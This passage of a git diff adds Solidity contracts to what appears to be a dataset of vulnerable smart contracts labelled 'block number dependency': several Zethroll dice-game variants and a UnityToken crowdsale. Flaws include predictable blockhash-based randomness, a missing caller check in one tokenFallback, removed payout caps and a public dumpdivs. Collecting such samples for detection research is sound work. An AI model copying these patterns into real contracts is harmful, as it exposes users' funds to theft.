+ return result; + } + } + + + struct TKN {address sender; uint value;} + + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + require(msg.sender == ZTHTKNADDR); + if (_from == ZethrBankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint8 chosenNumber = uint8(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(ZethrBankroll, 0); + ZethrBankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2587.sol b/smart_contract_dataset/block number dependency/2587.sol new file mode 100644 index 0000000000000000000000000000000000000000..143ef8e5942f99028be73c208c248720572c2bbb --- /dev/null +++ b/smart_contract_dataset/block number dependency/2587.sol @@ -0,0 +1,402 @@ +pragma solidity ^0.4.23; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 99; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public ZethrBankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint200 tokenValue; + uint48 blockn; + uint8 rollUnder; + } + + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + roll.blockn = uint48(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + returns (uint) + { + return _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private returns (uint){ + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + require(roll.blockn != block.number); + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(99, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + if (profit > maxProfit){ + profit = maxProfit; + } + + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + if (delete_it){ + + delete playerRolls[target]; + } + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + return result; + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + + + + + setMaxProfit(); + + return result; + } + } + + + struct TKN {address sender; uint value;} + + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + require(msg.sender == ZTHTKNADDR); + if (_from == ZethrBankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint8 chosenNumber = uint8(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(ZethrBankroll, 0); + ZethrBankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2589.sol b/smart_contract_dataset/block number dependency/2589.sol new file mode 100644 index 0000000000000000000000000000000000000000..4d96e5434b6d69ee0f2d93b8106aa4c4788b76f8 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2589.sol @@ -0,0 +1,398 @@ +pragma solidity ^0.4.23; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 99; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public ZethrBankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint200 tokenValue; + uint48 blockn; + uint8 rollUnder; + } + + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + roll.blockn = uint40(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + returns (uint) + { + return _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private returns (uint){ + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + require(roll.blockn != block.number); + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(99, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + if (delete_it){ + + delete playerRolls[target]; + } + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + return result; + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + + + + + setMaxProfit(); + + return result; + } + } + + + struct TKN {address sender; uint value;} + + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + require(msg.sender == ZTHTKNADDR); + if (_from == ZethrBankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint8 chosenNumber = uint8(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(ZethrBankroll, 0); + ZethrBankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2593.sol b/smart_contract_dataset/block number dependency/2593.sol new file mode 100644 index 0000000000000000000000000000000000000000..deb15b34a500910c8842746083d21f8819843075 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2593.sol @@ -0,0 +1,397 @@ +pragma solidity ^0.4.23; + + + +contract ZTHReceivingContract { + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool); +} + + +contract ZTHInterface { + function getFrontEndTokenBalanceOf(address who) public view returns (uint); + function transfer(address _to, uint _value) public returns (bool); + function approve(address spender, uint tokens) public returns (bool); +} + +contract Zethroll is ZTHReceivingContract { + using SafeMath for uint; + + + + modifier betIsValid(uint _betSize, uint _playerNumber) { + require( calculateProfit(_betSize, _playerNumber) < maxProfit + && _betSize >= minBet + && _playerNumber > minNumber + && _playerNumber < maxNumber); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + uint constant private MAX_INT = 2 ** 256 - 1; + uint constant public maxProfitDivisor = 1000000; + uint constant public maxNumber = 99; + uint constant public minNumber = 2; + uint constant public houseEdgeDivisor = 1000; + + + bool public gamePaused; + + address public owner; + address public ZethrBankroll; + address public ZTHTKNADDR; + + ZTHInterface public ZTHTKN; + + uint public contractBalance; + uint public houseEdge; + uint public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 0; + + + uint public totalBets; + uint public totalZTHWagered; + + + + + event LogBet(address sender, uint value, uint rollUnder); + + + + event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); + + + event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); + + + event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); + + + event CurrentContractBalance(uint _tokens); + + constructor (address zthtknaddr, address zthbankrolladdr) public { + + owner = msg.sender; + + + ZTHTKN = ZTHInterface(zthtknaddr); + ZTHTKNADDR = zthtknaddr; + + + ZethrBankroll = zthbankrolladdr; + + + houseEdge = 990; + + + ownerSetMaxProfitAsPercentOfHouse(10000); + + + ownerSetMinBet(1e18); + + + ZTHTKN.approve(zthbankrolladdr, MAX_INT); + } + + function() public payable {} + + + + function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function calculateProfit(uint _initBet, uint _roll) + private + view + returns (uint) + { + return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; + } + + + struct playerRoll{ + uint200 tokenValue; + uint48 blockn; + uint8 rollUnder; + } + + + mapping(address => playerRoll) public playerRolls; + + function _playerRollDice(uint _rollUnder, TKN _tkn) private + gameIsActive + betIsValid(_tkn.value, _rollUnder) + { + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 48) - 1)); + + + + + + require(_zthToken(msg.sender)); + + playerRoll memory roll = playerRolls[_tkn.sender]; + + + require(block.number != roll.blockn); + + + if (roll.blockn != 0) { + _finishBet(false, _tkn.sender); + } + + + roll.blockn = uint40(block.number); + roll.tokenValue = uint200(_tkn.value); + roll.rollUnder = uint8(_rollUnder); + + + playerRolls[_tkn.sender] = roll; + + + emit LogBet(_tkn.sender, _tkn.value, _rollUnder); + + + totalBets += 1; + + + totalZTHWagered += _tkn.value; + } + + + function finishBet() public + gameIsActive + returns (uint) + { + return _finishBet(true, msg.sender); + } + + + function _finishBet(bool delete_it, address target) private returns (uint){ + playerRoll memory roll = playerRolls[target]; + require(roll.tokenValue > 0); + require(roll.blockn != block.number); + + + uint result; + if (block.number - roll.blockn > 255) { + result = 1000; + } else { + + result = random(99, roll.blockn, target) + 1; + } + + uint rollUnder = roll.rollUnder; + + if (result < rollUnder) { + + + + uint profit = calculateProfit(roll.tokenValue, rollUnder); + + + contractBalance = contractBalance.sub(profit); + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); + + + setMaxProfit(); + + if (delete_it){ + + delete playerRolls[target]; + } + + + ZTHTKN.transfer(target, profit + roll.tokenValue); + + return result; + + } else { + + emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); + + + contractBalance = contractBalance.add(roll.tokenValue); + + + + + + setMaxProfit(); + + return result; + } + } + + + struct TKN {address sender; uint value;} + + + function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) { + if (_from == ZethrBankroll) { + + contractBalance = contractBalance.add(_value); + + + uint oldMaxProfit = maxProfit; + setMaxProfit(); + + emit MaxProfitChanged(oldMaxProfit, maxProfit); + return true; + + } else { + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + uint8 chosenNumber = uint8(_data[0]); + _playerRollDice(chosenNumber, _tkn); + } + + return true; + } + + + function setMaxProfit() internal { + emit CurrentContractBalance(contractBalance); + maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function ownerUpdateContractBalance(uint newContractBalance) public + onlyOwner + { + contractBalance = newContractBalance; + } + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerTransferZTH(address sendTo, uint amount) public + onlyOwner + { + + contractBalance = contractBalance.sub(amount); + + + setMaxProfit(); + require(ZTHTKN.transfer(sendTo, amount)); + emit LogOwnerTransfer(sendTo, amount); + } + + + function ownerPauseGame(bool newStatus) public + onlyOwner + { + gamePaused = newStatus; + } + + + function ownerSetBankroll(address newBankroll) public + onlyOwner + { + ZTHTKN.approve(ZethrBankroll, 0); + ZethrBankroll = newBankroll; + ZTHTKN.approve(newBankroll, MAX_INT); + } + + + function ownerChangeOwner(address newOwner) public + onlyOwner + { + owner = newOwner; + } + + + function ownerkill() public + onlyOwner + { + ZTHTKN.transfer(owner, contractBalance); + selfdestruct(owner); + } + + function dumpdivs() public{ + ZethrBankroll.transfer(address(this).balance); + } + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + + } +} + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2619.sol b/smart_contract_dataset/block number dependency/2619.sol new file mode 100644 index 0000000000000000000000000000000000000000..30ae7639c90313655114340bda789881f4bb1ec9 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2619.sol @@ -0,0 +1,250 @@ +pragma solidity ^0.4.12; + +contract IMigrationContract { + function migrate(address addr, uint256 nas) returns (bool success); +} + + +contract SafeMath { + + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, uint256 _value) returns (bool success); + function allowance(address _owner, address _spender) constant returns (uint256 remaining); + event Transfer(address indexed _from, address indexed _to, uint256 _value); + event Approval(address indexed _owner, address indexed _spender, uint256 _value); +} + + + +contract StandardToken is Token { + + function transfer(address _to, uint256 _value) returns (bool success) { + if (balances[msg.sender] >= _value && _value > 0) { + balances[msg.sender] -= _value; + balances[_to] += _value; + Transfer(msg.sender, _to, _value); + return true; + } else { + return false; + } + } + + function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { + if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { + balances[_to] += _value; + balances[_from] -= _value; + allowed[_from][msg.sender] -= _value; + Transfer(_from, _to, _value); + return true; + } else { + return false; + } + } + + function balanceOf(address _owner) constant returns (uint256 balance) { + return balances[_owner]; + } + + function approve(address _spender, uint256 _value) returns (bool success) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + function allowance(address _owner, address _spender) constant returns (uint256 remaining) { + return allowed[_owner][_spender]; + } + + mapping (address => uint256) balances; + mapping (address => mapping (address => uint256)) allowed; +} + +contract UnityToken is StandardToken, SafeMath { + + + string public constant name = "Ping"; + string public constant symbol = "PIN"; + uint256 public constant decimals = 3; + string public version = "1.0"; + + + address public ethFundDeposit; + address public newContractAddr; + + + bool public isFunding; + uint256 public fundingStartBlock; + uint256 public fundingStopBlock; + + uint256 public currentSupply; + uint256 public tokenRaised = 0; + uint256 public tokenMigrated = 0; + uint256 public tokenExchangeRate = 3; + + + event AllocateToken(address indexed _to, uint256 _value); + event IssueToken(address indexed _to, uint256 _value); + event IncreaseSupply(uint256 _value); + event DecreaseSupply(uint256 _value); + event Migrate(address indexed _to, uint256 _value); + + + function formatDecimals(uint256 _value) internal returns (uint256 ) { + return _value * 10 ** decimals; + } + + + function UnityToken( + address _ethFundDeposit, + uint256 _currentSupply) + { + ethFundDeposit = _ethFundDeposit; + + isFunding = false; + fundingStartBlock = 0; + fundingStopBlock = 0; + + currentSupply = formatDecimals(_currentSupply); + totalSupply = formatDecimals(10000000); + balances[msg.sender] = totalSupply; + if(currentSupply > totalSupply) throw; + } + + modifier isOwner() { require(msg.sender == ethFundDeposit); _; } + + + function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { + if (_tokenExchangeRate == 0) throw; + if (_tokenExchangeRate == tokenExchangeRate) throw; + + tokenExchangeRate = _tokenExchangeRate; + } + + + function increaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + currentSupply > totalSupply) throw; + currentSupply = safeAdd(currentSupply, value); + IncreaseSupply(value); + } + + + function decreaseSupply (uint256 _value) isOwner external { + uint256 value = formatDecimals(_value); + if (value + tokenRaised > currentSupply) throw; + + currentSupply = safeSubtract(currentSupply, value); + DecreaseSupply(value); + } + + + function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external { + if (isFunding) throw; + if (_fundingStartBlock >= _fundingStopBlock) throw; + if (block.number >= _fundingStartBlock) throw; + + fundingStartBlock = _fundingStartBlock; + fundingStopBlock = _fundingStopBlock; + isFunding = true; + } + + + function stopFunding() isOwner external { + if (!isFunding) throw; + isFunding = false; + } + + + function setMigrateContract(address _newContractAddr) isOwner external { + if (_newContractAddr == newContractAddr) throw; + newContractAddr = _newContractAddr; + } + + + function changeOwner(address _newFundDeposit) isOwner() external { + if (_newFundDeposit == address(0x0)) throw; + ethFundDeposit = _newFundDeposit; + } + + + function migrate() external { + if(isFunding) throw; + if(newContractAddr == address(0x0)) throw; + + uint256 tokens = balances[msg.sender]; + if (tokens == 0) throw; + + balances[msg.sender] = 0; + tokenMigrated = safeAdd(tokenMigrated, tokens); + + IMigrationContract newContract = IMigrationContract(newContractAddr); + if (!newContract.migrate(msg.sender, tokens)) throw; + + Migrate(msg.sender, tokens); + } + + + function transferETH() isOwner external { + if (this.balance == 0) throw; + if (!ethFundDeposit.send(this.balance)) throw; + } + + + function allocateToken (address _addr, uint256 _fin) isOwner public { + if (_fin == 0) throw; + if (_addr == address(0x0)) throw; + + uint256 tokens = safeMult(formatDecimals(_fin), tokenExchangeRate); + + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + + balances[_addr] += tokens; + + AllocateToken(_addr, tokens); + } + + + function () payable { + if (!isFunding) throw; + if (msg.value == 0) throw; + + if (block.number < fundingStartBlock) throw; + if (block.number > fundingStopBlock) throw; + + uint256 tokens = safeMult(msg.value, tokenExchangeRate); + if (tokens + tokenRaised > currentSupply) throw; + + tokenRaised = safeAdd(tokenRaised, tokens); + balances[msg.sender] += tokens; + + IssueToken(msg.sender, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/2632.sol b/smart_contract_dataset/block number dependency/2632.sol new file mode 100644 index 0000000000000000000000000000000000000000..81db17f5923cadaae0415ec3935223d9fb25c359 --- /dev/null +++ b/smart_contract_dataset/block number dependency/2632.sol @@ -0,0 +1,247 @@ +pragma solidity ^0.4.12; + +contract IMigrationContract { + function migrate(address addr, uint256 nas) returns (bool success); +} + + +contract SafeMath { + + + function safeAdd(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x + y; + assert((z >= x) && (z >= y)); + return z; + } + + function safeSubtract(uint256 x, uint256 y) internal returns(uint256) { + assert(x >= y); + uint256 z = x - y; + return z; + } + + function safeMult(uint256 x, uint256 y) internal returns(uint256) { + uint256 z = x * y; + assert((x == 0)||(z/x == y)); + return z; + } + +} + +contract Token { + uint256 public totalSupply; + function balanceOf(address _owner) constant returns (uint256 balance); + function transfer(address _to, uint256 _value) returns (bool success); + function transferFrom(address _from, address _to, uint256 _value) returns (bool success); + function approve(address _spender, 